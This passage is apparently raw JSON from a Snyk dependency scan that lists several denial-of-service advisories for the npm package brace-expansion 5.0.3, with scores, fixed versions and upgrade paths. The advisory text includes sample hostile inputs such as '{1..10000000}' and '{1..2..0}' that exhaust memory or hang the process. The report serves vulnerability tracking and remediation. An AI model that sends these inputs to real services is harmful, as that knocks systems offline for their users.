"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 